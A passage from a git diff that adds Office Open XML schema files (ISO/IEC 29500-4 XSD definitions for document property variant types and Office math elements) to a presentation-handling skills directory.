xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" + blockDefault="#all" elementFormDefault="qualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:simpleType name="ST_VectorBaseType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="variant"/> + <xsd:enumeration value="i1"/> + <xsd:enumeration value="i2"/> + <xsd:enumeration value="i4"/> + <xsd:enumeration value="i8"/> + <xsd:enumeration value="ui1"/> + <xsd:enumeration value="ui2"/> + <xsd:enumeration value="ui4"/> + <xsd:enumeration value="ui8"/> + <xsd:enumeration value="r4"/> + <xsd:enumeration value="r8"/> + <xsd:enumeration value="lpstr"/> + <xsd:enumeration value="lpwstr"/> + <xsd:enumeration value="bstr"/> + <xsd:enumeration value="date"/> + <xsd:enumeration value="filetime"/> + <xsd:enumeration value="bool"/> + <xsd:enumeration value="cy"/> + <xsd:enumeration value="error"/> + <xsd:enumeration value="clsid"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ArrayBaseType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="variant"/> + <xsd:enumeration value="i1"/> + <xsd:enumeration value="i2"/> + <xsd:enumeration value="i4"/> + <xsd:enumeration value="int"/> + <xsd:enumeration value="ui1"/> + <xsd:enumeration value="ui2"/> + <xsd:enumeration value="ui4"/> + <xsd:enumeration value="uint"/> + <xsd:enumeration value="r4"/> + <xsd:enumeration value="r8"/> + <xsd:enumeration value="decimal"/> + <xsd:enumeration value="bstr"/> + <xsd:enumeration value="date"/> + <xsd:enumeration value="bool"/> + <xsd:enumeration value="cy"/> + <xsd:enumeration value="error"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Cy"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="\s*[0-9]*\.[0-9]{4}\s*"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Error"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="\s*0x[0-9A-Za-z]{8}\s*"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Empty"/> + <xsd:complexType name="CT_Null"/> + <xsd:complexType name="CT_Vector"> + <xsd:choice minOccurs="1" maxOccurs="unbounded"> + <xsd:element ref="variant"/> + <xsd:element ref="i1"/> + <xsd:element ref="i2"/> + <xsd:element ref="i4"/> + <xsd:element ref="i8"/> + <xsd:element ref="ui1"/> + <xsd:element ref="ui2"/> + <xsd:element ref="ui4"/> + <xsd:element ref="ui8"/> + <xsd:element ref="r4"/> + <xsd:element ref="r8"/> + <xsd:element ref="lpstr"/> + <xsd:element ref="lpwstr"/> + <xsd:element ref="bstr"/> + <xsd:element ref="date"/> + <xsd:element ref="filetime"/> + <xsd:element ref="bool"/> + <xsd:element ref="cy"/> + <xsd:element ref="error"/> + <xsd:element ref="clsid"/> + </xsd:choice> + <xsd:attribute name="baseType" type="ST_VectorBaseType" use="required"/> + <xsd:attribute name="size" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Array"> + <xsd:choice minOccurs="1" maxOccurs="unbounded"> + <xsd:element ref="variant"/> + <xsd:element ref="i1"/> + <xsd:element ref="i2"/> + <xsd:element ref="i4"/> + <xsd:element ref="int"/> + <xsd:element ref="ui1"/> + <xsd:element ref="ui2"/> + <xsd:element ref="ui4"/> + <xsd:element ref="uint"/> + <xsd:element ref="r4"/> + <xsd:element ref="r8"/> + <xsd:element ref="decimal"/> + <xsd:element ref="bstr"/> + <xsd:element ref="date"/> + <xsd:element ref="bool"/> + <xsd:element ref="error"/> + <xsd:element ref="cy"/> + </xsd:choice> + <xsd:attribute name="lBounds" type="xsd:int" use="required"/> + <xsd:attribute name="uBounds" type="xsd:int" use="required"/> + <xsd:attribute name="baseType" type="ST_ArrayBaseType" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Variant"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element ref="variant"/> + <xsd:element ref="vector"/> + <xsd:element ref="array"/> + <xsd:element ref="blob"/> + <xsd:element ref="oblob"/> + <xsd:element ref="empty"/> + <xsd:element ref="null"/> + <xsd:element ref="i1"/> + <xsd:element ref="i2"/> + <xsd:element ref="i4"/> + <xsd:element ref="i8"/> + <xsd:element ref="int"/> + <xsd:element ref="ui1"/> + <xsd:element ref="ui2"/> + <xsd:element ref="ui4"/> + <xsd:element ref="ui8"/> + <xsd:element ref="uint"/> + <xsd:element ref="r4"/> + <xsd:element ref="r8"/> + <xsd:element ref="decimal"/> + <xsd:element ref="lpstr"/> + <xsd:element ref="lpwstr"/> + <xsd:element ref="bstr"/> + <xsd:element ref="date"/> + <xsd:element ref="filetime"/> + <xsd:element ref="bool"/> + <xsd:element ref="cy"/> + <xsd:element ref="error"/> + <xsd:element ref="stream"/> + <xsd:element ref="ostream"/> + <xsd:element ref="storage"/> + <xsd:element ref="ostorage"/> + <xsd:element ref="vstream"/> + <xsd:element ref="clsid"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_Vstream"> + <xsd:simpleContent> + <xsd:extension base="xsd:base64Binary"> + <xsd:attribute name="version" type="s:ST_Guid"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + <xsd:element name="variant" type="CT_Variant"/> + <xsd:element name="vector" type="CT_Vector"/> + <xsd:element name="array" type="CT_Array"/> + <xsd:element name="blob" type="xsd:base64Binary"/> + <xsd:element name="oblob" type="xsd:base64Binary"/> + <xsd:element name="empty" type="CT_Empty"/> + <xsd:element name="null" type="CT_Null"/> + <xsd:element name="i1" type="xsd:byte"/> + <xsd:element name="i2" type="xsd:short"/> + <xsd:element name="i4" type="xsd:int"/> + <xsd:element name="i8" type="xsd:long"/> + <xsd:element name="int" type="xsd:int"/> + <xsd:element name="ui1" type="xsd:unsignedByte"/> + <xsd:element name="ui2" type="xsd:unsignedShort"/> + <xsd:element name="ui4" type="xsd:unsignedInt"/> + <xsd:element name="ui8" type="xsd:unsignedLong"/> + <xsd:element name="uint" type="xsd:unsignedInt"/> + <xsd:element name="r4" type="xsd:float"/> + <xsd:element name="r8" type="xsd:double"/> + <xsd:element name="decimal" type="xsd:decimal"/> + <xsd:element name="lpstr" type="xsd:string"/> + <xsd:element name="lpwstr" type="xsd:string"/> + <xsd:element name="bstr" type="xsd:string"/> + <xsd:element name="date" type="xsd:dateTime"/> + <xsd:element name="filetime" type="xsd:dateTime"/> + <xsd:element name="bool" type="xsd:boolean"/> + <xsd:element name="cy" type="ST_Cy"/> + <xsd:element name="error" type="ST_Error"/> + <xsd:element name="stream" type="xsd:base64Binary"/> + <xsd:element name="ostream" type="xsd:base64Binary"/> + <xsd:element name="storage" type="xsd:base64Binary"/> + <xsd:element name="ostorage" type="xsd:base64Binary"/> + <xsd:element name="vstream" type="CT_Vstream"/> + <xsd:element name="clsid" type="s:ST_Guid"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd new file mode 100644 index 00000000..87ad2658 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd @@ -0,0 +1,582 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/officeDocument/2006/math" + xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" + xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" + targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math"> + <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" + schemaLocation="wml.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/> + <xsd:simpleType name="ST_Integer255"> + <xsd:restriction base="xsd:integer"> + <xsd:minInclusive value="1"/> + <xsd:maxInclusive value="255"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Integer255"> + <xsd:attribute name="val" type="ST_Integer255" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Integer2"> + <xsd:restriction base="xsd:integer"> + <xsd:minInclusive value="-2"/> + <xsd:maxInclusive value="2"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Integer2"> + <xsd:attribute name="val" type="ST_Integer2" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_SpacingRule"> + <xsd:restriction base="xsd:integer"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="4"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SpacingRule"> + <xsd:attribute name="val" type="ST_SpacingRule" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_UnSignedInteger"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:complexType name="CT_UnSignedInteger"> + <xsd:attribute name="val" type="ST_UnSignedInteger" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Char"> + <xsd:restriction base="xsd:string"> + <xsd:maxLength value="1"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Char"> + <xsd:attribute name="val" type="ST_Char" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_OnOff"> + <xsd:attribute name="val" type="s:ST_OnOff"/> + </xsd:complexType> + <xsd:complexType name="CT_String"> + <xsd:attribute name="val" type="s:ST_String"/> + </xsd:complexType> + <xsd:complexType name="CT_XAlign"> + <xsd:attribute name="val" type="s:ST_XAlign" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_YAlign"> + <xsd:attribute name="val" type="s:ST_YAlign" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Shp"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="centered"/> + <xsd:enumeration value="match"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Shp"> + <xsd:attribute name="val" type="ST_Shp" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_FType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="bar"/> + <xsd:enumeration value="skw"/> + <xsd:enumeration value="lin"/> + <xsd:enumeration value="noBar"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FType"> + <xsd:attribute name="val" type="ST_FType" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_LimLoc"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="undOvr"/> + <xsd:enumeration value="subSup"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LimLoc"> + <xsd:attribute name="val" type="ST_LimLoc" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TopBot"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="top"/> + <xsd:enumeration value="bot"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TopBot"> + <xsd:attribute name="val" type="ST_TopBot" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Script"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="roman"/> + <xsd:enumeration value="script"/> + <xsd:enumeration value="fraktur"/> + <xsd:enumeration value="double-struck"/> + <xsd:enumeration value="sans-serif"/> + <xsd:enumeration value="monospace"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Script"> + <xsd:attribute name="val" type="ST_Script"/> + </xsd:complexType> + <xsd:simpleType name="ST_Style"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="p"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="i"/> + <xsd:enumeration value="bi"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Style"> + <xsd:attribute name="val" type="ST_Style"/> + </xsd:complexType> + <xsd:complexType name="CT_ManualBreak"> + <xsd:attribute name="alnAt" type="ST_Integer255"/> + </xsd:complexType> + <xsd:group name="EG_ScriptStyle"> + <xsd:sequence> + <xsd:element name="scr" minOccurs="0" type="CT_Script"/> + <xsd:element name="sty" minOccurs="0" type="CT_Style"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_RPR"> + <xsd:sequence> + <xsd:element name="lit" minOccurs="0" type="CT_OnOff"/> + <xsd:choice> + <xsd:element name="nor" minOccurs="0" type="CT_OnOff"/> + <xsd:sequence> + <xsd:group ref="EG_ScriptStyle"/> + </xsd:sequence> + </xsd:choice> + <xsd:element name="brk" minOccurs="0" type="CT_ManualBreak"/> + <xsd:element name="aln" minOccurs="0" type="CT_OnOff"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Text"> + <xsd:simpleContent> + <xsd:extension base="s:ST_String"> + <xsd:attribute ref="xml:space" use="optional"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + <xsd:complexType name="CT_R"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_RPR" minOccurs="0"/> + <xsd:group ref="w:EG_RPr" minOccurs="0"/> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:group ref="w:EG_RunInnerContent"/> + <xsd:element name="t" type="CT_Text" minOccurs="0"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CtrlPr"> + <xsd:sequence> + <xsd:group ref="w:EG_RPrMath" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_AccPr"> + <xsd:sequence> + <xsd:element name="chr" type="CT_Char" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Acc"> + <xsd:sequence> + <xsd:element name="accPr" type="CT_AccPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BarPr"> + <xsd:sequence> + <xsd:element name="pos" type="CT_TopBot" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Bar"> + <xsd:sequence> + <xsd:element name="barPr" type="CT_BarPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BoxPr"> + <xsd:sequence> + <xsd:element name="opEmu" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="noBreak" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="diff" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="brk" type="CT_ManualBreak" minOccurs="0"/> + <xsd:element name="aln" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Box"> + <xsd:sequence> + <xsd:element name="boxPr" type="CT_BoxPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BorderBoxPr"> + <xsd:sequence> + <xsd:element name="hideTop" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="hideBot" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="hideLeft" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="hideRight" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="strikeH" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="strikeV" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="strikeBLTR" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="strikeTLBR" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BorderBox"> + <xsd:sequence> + <xsd:element name="borderBoxPr" type="CT_BorderBoxPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DPr"> + <xsd:sequence> + <xsd:element name="begChr" type="CT_Char" minOccurs="0"/> + <xsd:element name="sepChr" type="CT_Char" minOccurs="0"/> + <xsd:element name="endChr" type="CT_Char" minOccurs="0"/> + <xsd:element name="grow" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="shp" type="CT_Shp" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_D"> + <xsd:sequence> + <xsd:element name="dPr" type="CT_DPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_EqArrPr"> + <xsd:sequence> + <xsd:element name="baseJc" type="CT_YAlign" minOccurs="0"/> + <xsd:element name="maxDist" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="objDist" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="rSpRule" type="CT_SpacingRule" minOccurs="0"/> + <xsd:element name="rSp" type="CT_UnSignedInteger" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_EqArr"> + <xsd:sequence> + <xsd:element name="eqArrPr" type="CT_EqArrPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_FPr"> + <xsd:sequence> + <xsd:element name="type" type="CT_FType" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_F"> + <xsd:sequence> + <xsd:element name="fPr" type="CT_FPr" minOccurs="0"/> + <xsd:element name="num" type="CT_OMathArg"/> + <xsd:element name="den" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_FuncPr"> + <xsd:sequence> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Func"> + <xsd:sequence> + <xsd:element name="funcPr" type="CT_FuncPr" minOccurs="0"/> + <xsd:element name="fName" type="CT_OMathArg"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GroupChrPr"> + <xsd:sequence> + <xsd:element name="chr" type="CT_Char" minOccurs="0"/> + <xsd:element name="pos" type="CT_TopBot" minOccurs="0"/> + <xsd:element name="vertJc" type="CT_TopBot" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GroupChr"> + <xsd:sequence> + <xsd:element name="groupChrPr" type="CT_GroupChrPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_LimLowPr"> + <xsd:sequence> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_LimLow"> + <xsd:sequence> + <xsd:element name="limLowPr" type="CT_LimLowPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + <xsd:element name="lim" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_LimUppPr"> + <xsd:sequence> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_LimUpp"> + <xsd:sequence> + <xsd:element name="limUppPr" type="CT_LimUppPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + <xsd:element name="lim" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MCPr"> + <xsd:sequence> + <xsd:element name="count" type="CT_Integer255" minOccurs="0"/> + <xsd:element name="mcJc" type="CT_XAlign" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MC"> + <xsd:sequence> + <xsd:element name="mcPr" type="CT_MCPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MCS"> + <xsd:sequence> + <xsd:element name="mc" type="CT_MC" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MPr"> + <xsd:sequence> + <xsd:element name="baseJc" type="CT_YAlign" minOccurs="0"/> + <xsd:element name="plcHide" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="rSpRule" type="CT_SpacingRule" minOccurs="0"/> + <xsd:element name="cGpRule" type="CT_SpacingRule" minOccurs="0"/> + <xsd:element name="rSp" type="CT_UnSignedInteger" minOccurs="0"/> + <xsd:element name="cSp" type="CT_UnSignedInteger" minOccurs="0"/> + <xsd:element name="cGp" type="CT_UnSignedInteger" minOccurs="0"/> + <xsd:element name="mcs" type="CT_MCS" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MR"> + <xsd:sequence> + <xsd:element name="e" type="CT_OMathArg" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_M"> + <xsd:sequence> + <xsd:element name="mPr" type="CT_MPr" minOccurs="0"/> + <xsd:element name="mr" type="CT_MR" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NaryPr"> + <xsd:sequence> + <xsd:element name="chr" type="CT_Char" minOccurs="0"/> + <xsd:element name="limLoc" type="CT_LimLoc" minOccurs="0"/> + <xsd:element name="grow" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="subHide" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="supHide" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Nary"> + <xsd:sequence> + <xsd:element name="naryPr" type="CT_NaryPr" minOccurs="0"/> + <xsd:element name="sub" type="CT_OMathArg"/> + <xsd:element name="sup" type="CT_OMathArg"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PhantPr"> + <xsd:sequence> + <xsd:element name="show" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="zeroWid" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="zeroAsc" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="zeroDesc" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="transp" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Phant"> + <xsd:sequence> + <xsd:element name="phantPr" type="CT_PhantPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_RadPr"> + <xsd:sequence> + <xsd:element name="degHide" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Rad"> + <xsd:sequence> + <xsd:element name="radPr" type="CT_RadPr" minOccurs="0"/> + <xsd:element name="deg" type="CT_OMathArg"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SPrePr"> + <xsd:sequence> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SPre"> + <xsd:sequence> + <xsd:element name="sPrePr" type="CT_SPrePr" minOccurs="0"/> + <xsd:element name="sub" type="CT_OMathArg"/> + <xsd:element name="sup" type="CT_OMathArg"/> + <xsd:element name="e" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SSubPr"> + <xsd:sequence> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SSub"> + <xsd:sequence> + <xsd:element name="sSubPr" type="CT_SSubPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + <xsd:element name="sub" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SSubSupPr"> + <xsd:sequence> + <xsd:element name="alnScr" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SSubSup"> + <xsd:sequence> + <xsd:element name="sSubSupPr" type="CT_SSubSupPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + <xsd:element name="sub" type="CT_OMathArg"/> + <xsd:element name="sup" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SSupPr"> + <xsd:sequence> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SSup"> + <xsd:sequence> + <xsd:element name="sSupPr" type="CT_SSupPr" minOccurs="0"/> + <xsd:element name="e" type="CT_OMathArg"/> + <xsd:element name="sup" type="CT_OMathArg"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_OMathMathElements"> + <xsd:choice> + <xsd:element name="acc" type="CT_Acc"/> + <xsd:element name="bar" type="CT_Bar"/> + <xsd:element name="box" type="CT_Box"/> + <xsd:element name="borderBox" type="CT_BorderBox"/> + <xsd:element name="d" type="CT_D"/> + <xsd:element name="eqArr" type="CT_EqArr"/> + <xsd:element name="f" type="CT_F"/> + <xsd:element name="func" type="CT_Func"/> + <xsd:element name="groupChr" type="CT_GroupChr"/> + <xsd:element name="limLow" type="CT_LimLow"/> + <xsd:element name="limUpp" type="CT_LimUpp"/> + <xsd:element name="m" type="CT_M"/> + <xsd:element name="nary" type="CT_Nary"/> + <xsd:element name="phant" type="CT_Phant"/> + <xsd:element name="rad" type="CT_Rad"/> + <xsd:element name="sPre" type="CT_SPre"/> + <xsd:element name="sSub" type="CT_SSub"/> + <xsd:element name="sSubSup" type="CT_SSubSup"/> + <xsd:element name="sSup" type="CT_SSup"/> + <xsd:element name="r" type="CT_R"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_OMathElements"> + <xsd:choice> + <xsd:group ref="EG_OMathMathElements"/> + <xsd:group ref="w:EG_PContentMath"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_OMathArgPr"> + <xsd:sequence> + <xsd:element name="argSz" type="CT_Integer2" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_OMathArg"> + <xsd:sequence> + <xsd:element name="argPr" type="CT_OMathArgPr" minOccurs="0"/> + <xsd:group ref="EG_OMathElements" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="ctrlPr" type="CT_CtrlPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_Jc"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="centerGroup"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_OMathJc"> + <xsd:attribute name="val" type="ST_Jc"/> + </xsd:complexType> + <xsd:complexType name="CT_OMathParaPr"> + <xsd:sequence> + <xsd:element name="jc" type="CT_OMathJc" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TwipsMeasure"> + <xsd:attribute name="val" type="s:ST_TwipsMeasure" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_BreakBin"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="before"/> + <xsd:enumeration value="after"/> + <xsd:enumeration value="repeat"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_BreakBin"> + <xsd:attribute name="val" type="ST_BreakBin"/> + </xsd:complexType> + <xsd:simpleType name="ST_BreakBinSub"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="--"/> + <xsd:enumeration value="-+"/> + <xsd:enumeration value="+-"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_BreakBinSub"> + <xsd:attribute name="val" type="ST_BreakBinSub"/> + </xsd:complexType> + <xsd:complexType name="CT_MathPr"> + <xsd:sequence> + <xsd:element name="mathFont" type="CT_String" minOccurs="0"/> + <xsd:element name="brkBin" type="CT_BreakBin" minOccurs="0"/> + <xsd:element name="brkBinSub" type="CT_BreakBinSub" minOccurs="0"/> + <xsd:element name="smallFrac" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="dispDef" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="lMargin" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="rMargin" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="defJc" 